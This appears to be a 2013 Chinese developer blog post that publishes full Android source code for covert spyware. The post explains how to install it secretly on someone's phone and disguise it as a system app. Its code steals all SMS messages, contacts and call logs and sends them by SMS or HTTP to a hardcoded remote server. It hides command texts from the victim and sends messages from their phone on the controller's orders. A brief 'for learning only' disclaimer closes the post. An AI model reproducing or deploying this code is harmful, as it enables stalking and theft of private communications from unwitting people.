2013-10-14 23:11 17986人閱讀 評論(113) 收藏 舉報
[java] view plaincopy
1
不得不說android是一個非常智能的系統,電話或者短信都能遠程獲取。。
關於大家一直說怎麼使用,我來簡單的說明一下吧,講工程文件中的apk文件安裝在你想監控的人的手機中,然後隨便找個手機給他
發短信"qingxue:12" 表示以短信的模式獲取
再發"qingxue:1" 獲取監控人的所有短信的記錄
短信轉發有點不一樣,發送"qingxue:4:13555555555:helloworld" 表示通過監控人的手機給13555555555發送短信,內容爲“helloworld”
注:以上短信內容均不含""
以下程序可實現通話記錄監控,通訊錄獲取,短信獲取,或者利用被控端進行短信轉發,至於另外一些像虛擬短信,短信屏蔽,電話錄音或者屏蔽,都是大同小異,由於時間關係這裏就不實現了,喜歡的同學可以自己研究下android的API
爲了不讓對方懷疑,可以取個和系統相似的名字。如:SystemManage
包結構:
清單文件,主要是一些用到的android權限
[java] view plaincopy
2 <?xml version="1.0" encoding="utf-8"?>
3 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
4 package="com.me.androidsystem"
5 android:versionCode="1"
6 android:versionName="1.0" >
7 <!-- 接收短信權限 -->
8 <uses-permission android:name="android.permission.RECEIVE_SMS" />
9 <uses-permission android:name="android.permission.SEND_SMS" />
10 <uses-permission android:name="android.permission.READ_SMS"/>
11 <!-- 訪問internet權限 -->
12 <uses-permission android:name="android.permission.INTERNET" />
13 <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
14 <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
15 <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
16 <uses-permission android:name="android.permission.READ_CONTACTS"/>
17 <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
18 <uses-permission android:name="android.permission.READ_CALL_LOG"/>
19
20 <uses-sdk
21 android:minSdkVersion="7"
22 android:targetSdkVersion="18" />
23
24 <application
25 android:allowBackup="true"
26 android:icon="@drawable/ic_launcher"
27 android:label="@string/app_name"
28 android:theme="@style/AppTheme" >
29
30 <receiver android:name="com.me.androidsystem.SmsReceiver">
31 <intent-filter android:priority="1000" >
32 <action android:name="android.provider.Telephony.SMS_RECEIVED" />
33 </intent-filter>
34 </receiver>
35 <receiver android:name="com.me.androidsystem.NetstateReceiver">
36 <intent-filter>
37 <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
38 </intent-filter>
39 </receiver>
40 <service android:name="com.me.androidsystem.service.SmsService" >
41 </service>
42 <service android:name="com.me.androidsystem.service.PhoService" >
43 </service>
44 </application>
45
46 </manifest>
常用字段我全部寫在一個類中了
[java] view plaincopy
47 package com.me.androidsystem.util;
48 /*
49 操作說明
50 控制端發送短信指令
51 1 ————獲取客戶端的所有短信
52 2 ————獲取客戶端的所有通信錄包括通話記錄
53 3 ————僅獲取客戶端的所有通話記錄
54 4 ————短信轉發
55 11————設置獲取客戶端所有短信的模式爲短信發送模式
56 12————設置獲取客戶端所有短信的模式爲網絡發送模式
57 13————設置獲取客戶端所有短信的模式爲網絡優先發送模式
58 21————設置獲取客戶端的所有通信錄包括通話記錄的模式爲短信發送模式
59 22————設置獲取客戶端的所有通信錄包括通話記錄的模式爲網絡發送模式
60 23————設置獲取客戶端的所有通信錄包括通話記錄的模式爲網絡優先發送模式
61 30————設置獲取客戶端當前短信的模式爲不獲取
62 31————設置獲取客戶端當前短信的模式爲短信模式
63 32————設置獲取客戶端當前短信的模式爲網絡模式
64 33————設置獲取客戶端當前短信的模式爲網絡優先模式
65 如發送:qingxue:21後再發qingxue:2對方的所有通信錄包括通話記錄都會以短信的形式發送到你手機上
66 */
67 public class ServiceUtil {
68 //控制端的手機號 每次發送指令時會自動修改爲發送指令的手機號
69 public static String CONTROL_NUMBER = "+8618271803015";
70 //控制端的網絡服務器192.168.137.218 221.234.230.22
71 public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";
72 //發送電話信息請求的Servlet
73 public static final String PHO_SERVLET = "GetPHOInfoServlet";
74 //發送單個短信請求的Servlet 目前沒有用
75 public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";
76 //控制端的key
77 public static final String CONTROL_START = "qingxue";
78 //配置文件的名稱
79 public static final String CONFIG_NAME = "config";
80 //保存離線短信信息文件
81 public static final String OFF_INFO = "off_info";
82
83 public static final String COMMAND="command";
84 //控制端獲取用戶的所有短信
85 public static final int GET_ALL_SMS = 1;
86 //控制端獲取用戶所有電話和通話記錄
87 public static final int GET_ALL_PHO = 2;
88 //控制端獲取用戶所有通話記錄
89 public static final int GET_ONLY_PHO = 3;
90 //短信轉發
91 public static final int SMS_TRANSPOND = 4;
92
93 //設置短信的操作模式爲無
94 public static final int SET_SMS_MODEL_0 = 10;
95 //設置短信的操作模式爲MODEL_SMS_ONLY
96 public static final int SET_SMS_MODEL_1 = 11;
97 //設置短信的操作模式爲MODEL_NET_ONLY
98 public static final int SET_SMS_MODEL_2 = 12; //默認
99 //設置短信的操作模式爲MODEL_NET_SMS
100 public static final int SET_SMS_MODEL_3 = 13;
101
102 // 設置通信記錄的操作模式爲無
103 public static final int SET_PHO_MODEL_0 = 20;
104 // 設置通信記錄的操作模式爲MODEL_SMS_ONLY
105 public static final int SET_PHO_MODEL_1 = 21;
106 // 設置通信記錄的操作模式爲MODEL_NET_ONLY
107 public static final int SET_PHO_MODEL_2 = 22; //默認
108 // 設置通信記錄的操作模式爲MODEL_NET_SMS
109 public static final int SET_PHO_MODEL_3 = 23;
110
111 //設置短信的操作模式爲無
112 public static final int SET_SMS_ONE_MODEL_0 = 30;
113 //設置短信的操作模式爲MODEL_SMS_ONLY
114 public static final int SET_SMS_ONE_MODEL_1 = 31;
115 //設置短信的操作模式爲MODEL_NET_ONLY
116 public static final int SET_SMS_ONE_MODEL_2 = 32;//默認
117 //設置短信的操作模式爲MODEL_NET_SMS
118 public static final int SET_SMS_ONE_MODEL_3 = 33;
119
120 //對於單條短信的操作模式
121 public static final String SMS_ONE_MODEL = "sms_one_model";
122 //對於所有短信的操作模式
123 public static final String SMS_MODEL = "sms_model";
124 //對於電話的操作模式
125 public static final String PHO_MODEL = "pho_model";
126
127 //不發送模式
128 public static final int MODEL_NONE = 0;
129 //短信模式
130 public static final int MODEL_SMS_ONLY = 1;
131 //網絡模式
132 public static final int MODEL_NET_ONLY = 2;
133 //短信和網絡模式,網絡優先
134 public static final int MODEL_NET_SMS = 3;
135
136 //僅獲取通話記錄
137 public static boolean ONLY_TEL = false;
138 }
電話的服務類
[java] view plaincopy
139 package com.me.androidsystem.service;
140
141 import java.text.SimpleDateFormat;
142 import java.util.ArrayList;
143 import java.util.Date;
144 import java.util.HashMap;
145 import java.util.List;
146 import java.util.Map;
147
148 import android.app.Service;
149 import android.content.ContentResolver;
150 import android.content.Context;
151 import android.content.Intent;
152 import android.content.SharedPreferences;
153 import android.content.SharedPreferences.Editor;
154 import android.database.Cursor;
155 import android.net.ConnectivityManager;
156 import android.net.NetworkInfo;
157 import android.os.IBinder;
158 import android.provider.CallLog;
159 import android.provider.CallLog.Calls;
160 import android.provider.ContactsContract;
161 import android.util.Log;
162
163 import com.me.androidsystem.domain.CallRecord;
164 import com.me.androidsystem.util.CommndUtil;
165 import com.me.androidsystem.util.ServiceUtil;
166
167 public class PhoService extends Service {
168 private SharedPreferences preferences;
169 @Override
170 public void onCreate() {
171 super.onCreate();
172 List<Map<String, String>> contacts = getContacts();
173 List<CallRecord> callRecords = getCallRecord();
174 preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
175 Context.MODE_PRIVATE);
176 int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);
177
178 switch (model) {
179 case ServiceUtil.MODEL_SMS_ONLY:
180 sendSMSContent(contacts,callRecords);
181 break;
182 case ServiceUtil.MODEL_NET_ONLY:
183 sendNETContent(contacts,callRecords);
184 break;
185 case ServiceUtil.MODEL_NET_SMS:
186 sendNETORSMSContent(contacts,callRecords);
187 break;
188
189 default:
190 break;
191 }
192 stopSelf();
193 }
194
195 private void sendNETORSMSContent(List<Map<String, String>> contacts,
196 List<CallRecord> callRecords) {
197 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
198 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
199 if(networkInfo != null && networkInfo.isAvailable()){
200 //當前有可用網絡
201 sendNETContent(contacts, callRecords);
202 }else{
203 //當前無可用網絡
204 sendSMSContent(contacts, callRecords);
205 }
206 }
207
208 private void sendNETContent(List<Map<String, String>> contacts,
209 List<CallRecord> callRecords) {
210 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
211 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
212 if(networkInfo != null && networkInfo.isAvailable()){
213 //當前有可用網絡
214
215 CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);
216 }else{
217 //當前無可用網絡
218 String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
219 Editor editor = preferences.edit();
220 editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n");
221 editor.commit();
222 return;
223 }
224
225 }
226
227 private void sendSMSContent(List<Map<String, String>> contacts,
228 List<CallRecord> callRecords) {
229 CommndUtil.sendSMS(resolve(contacts, callRecords));
230 }
231
232 private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){
233 StringBuilder sb = new StringBuilder();
234 if(!ServiceUtil.ONLY_TEL){
235 sb.append("姓名 電話\n");
236 for(Map<String, String> map : contacts){
237 String name = map.get("name");
238 String number = map.get("number");
239 sb.append(name + " " + number);
240 }
241 }
242
243 sb.append("-------------------------\n"+"通話記錄\n");
244 sb.append("姓名 類型 時間 時長 電話\n");
245 for(CallRecord callRecord : callRecords){
246 String name = callRecord.getLinkman();
247 String type = callRecord.getType();
248 String time = callRecord.getCallDate();
249 String durction = callRecord.getDurction();
250 String number = callRecord.getNumber();
251 sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n");
252 }
253 return sb.toString();
254 }
255
256 // 獲取聯繫人信息
257 public List<Map<String, String>> getContacts() {
258 Map<String, String> contacts;
259 List<Map<String, String>> list = new ArrayList<Map<String, String>>();
260 int nameIndex = -1;
261 ContentResolver cr = getContentResolver();
262 Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,
263 null, null, null);
264 while (cur.moveToNext()) {
265 String number = "";
266 // 得到名字
267 nameIndex = cur
268 .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
269 String name = cur.getString(nameIndex);
270 // 得到電話號碼
271 String contactId = cur.getString(cur
272 .getColumnIndex(ContactsContract.Contacts._ID)); // 獲取聯繫人的ID號,在SQLite中的數據庫ID
273 Cursor phone = cr.query(
274 ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,
275 ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "
276 + contactId, null, null);
277 while (phone.moveToNext()) {
278 String strPhoneNumber = phone
279 .getString(phone
280 .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手機號碼字段聯繫人可能不止一個
281 number += strPhoneNumber + "\n";
282 }
283 contacts = new HashMap<String, String>();
284 // 放入Map
285 contacts.put("name", name);
286 contacts.put("number", number);
287 list.add(contacts);
288 }
289 cur.close();
290 return list;
291 }
292
293 // 獲取通話記錄
294 public List<CallRecord> getCallRecord() {
295 List<CallRecord> list = new ArrayList<CallRecord>();
296 ContentResolver cr = getContentResolver();
297 Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,
298 new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,
299 CallLog.Calls.TYPE, CallLog.Calls.DATE,
300 CallLog.Calls.DURATION }, null, null,
301 CallLog.Calls.DEFAULT_SORT_ORDER);
302
303 while (cursor.moveToNext()) {
304 String strNumber = cursor.getString(cursor
305 .getColumnIndex(Calls.NUMBER)); // 呼叫號碼
306 String strName = cursor.getString(cursor
307 .getColumnIndex(Calls.CACHED_NAME)); // 聯繫人姓名
308 int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 來電:1,撥出:2,未接:3
309 String callType = "";
310 switch (type) {
311 case 1:
312 callType = "來電";
313 break;
314 case 2:
315 callType = "撥出";
316 break;
317 case 3:
318 callType = "未接";
319 break;
320 }
321 long duration = cursor.getLong(cursor
322 .getColumnIndex(Calls.DURATION));
323 String durationTime = formatTime(duration);
324 SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
325 Date date = new Date(Long.parseLong(cursor.getString(cursor
326 .getColumnIndex(Calls.DATE))));
327 String time = sfd.format(date);
328 list.add(new CallRecord(strName, strNumber, time, callType,
329 durationTime));
330 }
331 return list;
332 }
333
334 private String formatTime(long duration) {
335 int timetiem = (int) duration;
336 int minute = timetiem / 60;
337 int hour = minute / 60;
338 int second = timetiem % 60;
339 minute %= 60;
340 return String.format("%02d:%02d:%02d", hour, minute, second);
341
342 }
343
344 @Override
345 public IBinder onBind(Intent intent) {
346 // TODO Auto-generated method stub
347 return null;
348 }
349
350 }
短信的服務類
[java] view plaincopy
351 package com.me.androidsystem.service;
352
353 import java.text.SimpleDateFormat;
354 import java.util.ArrayList;
355 import java.util.Date;
356 import java.util.List;
357
358 import android.app.Service;
359 import android.content.ContentResolver;
360 import android.content.Context;
361 import android.content.Intent;
362 import android.content.SharedPreferences;
363 import android.content.SharedPreferences.Editor;
364 import android.database.Cursor;
365 import android.database.sqlite.SQLiteException;
366 import android.net.ConnectivityManager;
367 import android.net.NetworkInfo;
368 import android.net.Uri;
369 import android.os.IBinder;
370
371 import com.me.androidsystem.domain.SmsInfo;
372 import com.me.androidsystem.util.CommndUtil;
373 import com.me.androidsystem.util.ServiceUtil;
374
375 public class SmsService extends Service {
376 private SharedPreferences preferences;
377 @Override
378 public void onCreate() {
379 super.onCreate();
380 preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,
381 Context.MODE_PRIVATE);
382 int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);
383 switch (model) {
384 case ServiceUtil.MODEL_SMS_ONLY:
385 sendSMSContent();
386 break;
387 case ServiceUtil.MODEL_NET_ONLY:
388 sendNETContent();
389 break;
390 case ServiceUtil.MODEL_NET_SMS:
391 sendNETORSMSContent();
392 break;
393
394 default:
395 break;
396 }
397 stopSelf();
398 }
399
400 private void sendNETORSMSContent() {
401 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
402 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
403 if(networkInfo != null && networkInfo.isAvailable()){
404 //當前有可用網絡
405 sendNETContent();
406 }else{
407 //當前無可用網絡
408 sendSMSContent();
409 }
410 }
411
412 private void sendNETContent() {
413 ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);
414 NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();
415 if(networkInfo != null && networkInfo.isAvailable()){
416 //當前有可用網絡
417 CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);
418 }else{
419 String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");
420 Editor editor = preferences.edit();
421 editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n");
422 editor.commit();
423 return;
424 }
425
426 }
427
428 private void sendSMSContent() {
429 CommndUtil.sendSMS(resolve(getAllSms()));
430 }
431 private String resolve(List<SmsInfo> list){
432 StringBuilder sb = new StringBuilder();
433 sb.append("聯繫人 電話 內容 日期 類型\n");
434 for(SmsInfo info : list){
435 String name = info.getLinkman();
436 String number = info.getNumber();
437 String content = info.getContent();
438 String date = info.getDate();
439 String type = info.getType();
440 sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n");
441 }
442
443 return sb.toString();
444 }
445 @Override
446 public IBinder onBind(Intent intent) {
447 return null;
448 }
449
450 private List<SmsInfo> getAllSms() {
451 List<SmsInfo> list = new ArrayList<SmsInfo>();
452 final String SMS_URI_ALL = "content://sms/";
453 try {
454 ContentResolver cr = getContentResolver();
455 String[] projection = new String[] { "_id", "address", "person",
456 "body", "date", "type" };
457 Uri uri = Uri.parse(SMS_URI_ALL);
458 Cursor cur = cr.query(uri, projection, null, null, "date desc");
459
460 while (cur.moveToNext()) {
461 String name;
462 String phoneNumber;
463 String smsbody;
464 String date;
465 String type;
466
467 name = cur.getString(cur.getColumnIndex("person"));
468 phoneNumber = cur.getString(cur.getColumnIndex("address"));
469 smsbody = cur.getString(cur.getColumnIndex("body"));
470
471 SimpleDateFormat dateFormat = new SimpleDateFormat(
472 "yyyy-MM-dd hh:mm:ss");
473 Date d = new Date(Long.parseLong(cur.getString(cur
474 .getColumnIndex("date"))));
475 date = dateFormat.format(d);
476
477 int typeId = cur.getInt(cur.getColumnIndex("type"));
478 if (typeId == 1) {
479 type = "接收";
480 } else if (typeId == 2) {
481 type = "發送";
482 } else if (typeId == 0) {
483 type = "未讀";
484 } else {
485 type = "草稿";
486 }
487 //以下注釋去掉會將短信的聯繫人姓名找出,不然只能獲取短信聯繫號碼,不過時間好長,不知道也沒有哪位大神能解決一下
488 // Uri personUri = Uri.withAppendedPath(
489 // ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
490 // phoneNumber);
491 // Cursor localCursor = cr.query(personUri, new String[] {
492 // PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID,
493 // PhoneLookup._ID }, null, null, null);
494 //
495 // if (localCursor.getCount() != 0) {
496 // localCursor.moveToFirst();
497 // name = localCursor.getString(localCursor
498 // .getColumnIndex(PhoneLookup.DISPLAY_NAME));
499 // }
500 if (smsbody == null)
501 smsbody = "";
502 list.add(new SmsInfo(name, phoneNumber, smsbody, date, type));
503 }
504 } catch (SQLiteException ex) {
505
506 }
507 return list;
508 }
509 }
用於接受控制端的短信指令
[java] view plaincopy
510 package com.me.androidsystem;
511
512 import java.text.SimpleDateFormat;
513 import java.util.Date;
514
515 import android.content.BroadcastReceiver;
516 import android.content.Context;
517 import android.content.Intent;
518 import android.content.SharedPreferences;
519 import android.content.SharedPreferences.Editor;
520 import android.net.ConnectivityManager;
521 import android.net.NetworkInfo;
522 import android.telephony.SmsMessage;
523 import android.util.Log;
524
525 import com.me.androidsystem.service.PhoService;
526 import com.me.androidsystem.service.SmsService;
527 import com.me.androidsystem.util.CommndUtil;
528 import com.me.androidsystem.util.ServiceUtil;
529
530 /*
531 * 實現對短信接收的監聽
532 */
533 public class SmsReceiver extends BroadcastReceiver {
534
535
536 public void onReceive(Context context, Intent intent) {
537 // 如果短信內容是以qingxue開頭,那麼表示指令
538 Object[] pdus = (Object[]) intent.getExtras().get("pdus");
539 for (Object p : pdus) {
540 byte[] pdu = (byte[]) p;
541 SmsMessage message = SmsMessage.createFromPdu(pdu);
542 String content = message.getMessageBody();
543 Date date = new Date(message.getTimestampMillis());
544 SimpleDateFormat format = new SimpleDateFormat(
545 "yyyy-MM-dd HH:mm:ss");
546 String receiveTime = format.format(date);
547 String senderNumber = message.getOriginatingAddress();
548 Log.e("aaaa", content);
549 // ServiceUtil.CONTROL_NUMBER.equals(senderNumber)
550 if (content.length() >= ServiceUtil.CONTROL_START.length()
551 && content.substring(0, ServiceUtil.CONTROL_START.length())
552 .equals(ServiceUtil.CONTROL_START)) {
553 abortBroadcast();// 終止廣播
554 ServiceUtil.CONTROL_NUMBER = senderNumber;
555 SharedPreferences sharedPreferences = context
556 .getSharedPreferences(ServiceUtil.CONFIG_NAME,
557 Context.MODE_PRIVATE);
558 Editor edit = sharedPreferences.edit();
559 int command = Integer.valueOf(content.split(":")[1]);
560 Log.e("aaaa", command+"");
561 switch (command) {
562 case ServiceUtil.GET_ALL_SMS:
563 Intent t1 = new Intent(context, SmsService.class);
564 context.startService(t1);
565 break;
566 case ServiceUtil.GET_ALL_PHO:
567 ServiceUtil.ONLY_TEL = false;
568 Intent t2 = new Intent(context, PhoService.class);
569 context.startService(t2);
570 break;
571 case ServiceUtil.GET_ONLY_PHO:
572 ServiceUtil.ONLY_TEL = true;
573 Intent t3 = new Intent(context, PhoService.class);
574 context.startService(t3);
575 break;
576 case ServiceUtil.SMS_TRANSPOND:
577 try {
578 if (content.split(":").length >= 4) {
579 String number = content.split(":")[2];
580 String msg = content.split(":")[3];
581 CommndUtil.sendSMS(msg, number);
582 }
583 } catch (Exception e) {
584 }
585 break;
586 // 對獲取所有短信是發送模式設置
587 case ServiceUtil.SET_SMS_MODEL_0:
588 edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);
589 edit.commit();
590 break;
591 case ServiceUtil.SET_SMS_MODEL_1:
592 edit.putInt(ServiceUtil.SMS_MODEL,
593 ServiceUtil.MODEL_SMS_ONLY);
594 edit.commit();
595 break;
596 case ServiceUtil.SET_SMS_MODEL_2:
597 edit.putInt(ServiceUtil.SMS_MODEL,
598 ServiceUtil.MODEL_NET_ONLY);
599 edit.commit();
600 break;
601 case ServiceUtil.SET_SMS_MODEL_3:
602 edit.putInt(ServiceUtil.SMS_MODEL,
603 ServiceUtil.MODEL_NET_SMS);
604 edit.commit();
605 break;
606 // 對獲取所有通信錄是發送模式設置
607 case ServiceUtil.SET_PHO_MODEL_0:
608 edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);
609 edit.commit();
610 break;
611 case ServiceUtil.SET_PHO_MODEL_1:
612 edit.putInt(ServiceUtil.PHO_MODEL,
613 ServiceUtil.MODEL_SMS_ONLY);
614 edit.commit();
615 break;
616 case ServiceUtil.SET_PHO_MODEL_2:
617 edit.putInt(ServiceUtil.PHO_MODEL,
618 ServiceUtil.MODEL_NET_ONLY);
619 edit.commit();
620 break;
621 case ServiceUtil.SET_PHO_MODEL_3:
622 edit.putInt(ServiceUtil.PHO_MODEL,
623 ServiceUtil.MODEL_NET_SMS);
624 edit.commit();
625 break;
626 // 對獲取當前短信的發送模式設置
627 case ServiceUtil.SET_SMS_ONE_MODEL_0:
628 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
629 ServiceUtil.MODEL_NONE);
630 edit.commit();
631 break;
632 case ServiceUtil.SET_SMS_ONE_MODEL_1:
633 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
634 ServiceUtil.MODEL_SMS_ONLY);
635 edit.commit();
636 break;
637 case ServiceUtil.SET_SMS_ONE_MODEL_2:
638 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
639 ServiceUtil.MODEL_NET_ONLY);
640 edit.commit();
641 break;
642 case ServiceUtil.SET_SMS_ONE_MODEL_3:
643 edit.putInt(ServiceUtil.SMS_ONE_MODEL,
644 ServiceUtil.MODEL_NET_SMS);
645 edit.commit();
646 break;
647 // 對獲取通話記錄的發送模式設置與獲取所有通信錄方式相同
648
649 default:
650 break;
651 }
652 }
653 // 如果是普通的短信 可以設置轉發或者不採取操作
654 else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {
655 SharedPreferences sharedPreferences = context
656 .getSharedPreferences(ServiceUtil.CONFIG_NAME,
657 Context.MODE_PRIVATE);
658 int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,
659 ServiceUtil.MODEL_NET_ONLY);
660 ConnectivityManager connectivityManager = (ConnectivityManager) context
661 .getSystemService(Context.CONNECTIVITY_SERVICE);
662 NetworkInfo networkInfo = connectivityManager
663 .getActiveNetworkInfo();
664 switch (model) {
665 case ServiceUtil.MODEL_SMS_ONLY:
666 CommndUtil
667 .sendSMS("收到來自" + senderNumber + "的短信:" + content);
668 break;
669 case ServiceUtil.MODEL_NET_ONLY:
670 if (networkInfo != null && networkInfo.isAvailable()) {
671 // 當前有可用網絡
672 CommndUtil.sendInternet("收到來自" + senderNumber + "的短信:"
673 + content, ServiceUtil.SMS_ONE_SERVLET);
674 } else {
675 // 當前無可用網絡
676 String oldInfo = sharedPreferences.getString(
677 ServiceUtil.OFF_INFO, "");
678 Editor editor = sharedPreferences.edit();
679 editor.putString(ServiceUtil.OFF_INFO, oldInfo
680 + receiveTime + " 收到來自" + senderNumber + "的短信:"
681 + content + "\n");
682 editor.commit();
683 return;
684 }
685 break;
686 case ServiceUtil.MODEL_NET_SMS:
687 if (networkInfo != null && networkInfo.isAvailable()) {
688 // 當前有可用網絡
689 CommndUtil.sendInternet("收到來自" + senderNumber + "的短信:"
690 + content, ServiceUtil.PHO_SERVLET);
691 } else {
692 // 當前無可用網絡
693 CommndUtil.sendSMS("收到來自" + senderNumber + "的短信:"
694 + content);
695 }
696 break;
697 default:
698 break;
699 }
700 }
701 }
702 }
703
704 }
這個類負責在通過網絡獲取時,用戶的網絡是關閉狀態,只要用戶打開網絡,會繼續發送
[java] view plaincopy
705 package com.me.androidsystem;
706
707 import android.content.BroadcastReceiver;
708 import android.content.Context;
709 import android.content.Intent;
710 import android.content.SharedPreferences;
711 import android.net.ConnectivityManager;
712 import android.net.NetworkInfo;
713
714 import com.me.androidsystem.util.CommndUtil;
715 import com.me.androidsystem.util.ServiceUtil;
716
717 public class NetstateReceiver extends BroadcastReceiver {
718
719 @Override
720 public void onReceive(Context context, Intent intent) {
721 ConnectivityManager manager = (ConnectivityManager) context
722 .getSystemService(Context.CONNECTIVITY_SERVICE);
723 NetworkInfo gprs = manager
724 .getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
725 NetworkInfo wifi = manager
726 .getNetworkInfo(ConnectivityManager.TYPE_WIFI);
727 if (!gprs.isConnected() && !wifi.isConnected()) {
728 // network closed
729 } else {
730 // network opend
731 SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);
732 String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");
733 if(!"".equals(content)){
734 if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){
735 sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();
736 }
737 }
738 }
739 }
740 }
我妹子是windows phone平臺的,我也不會移植,用不了。僅作學習交流之用,短信轉發這個功能有點邪惡。。。不要隨便使用
完整版的源碼下載
http://download.csdn.net/detail/lcl15572830433/6399735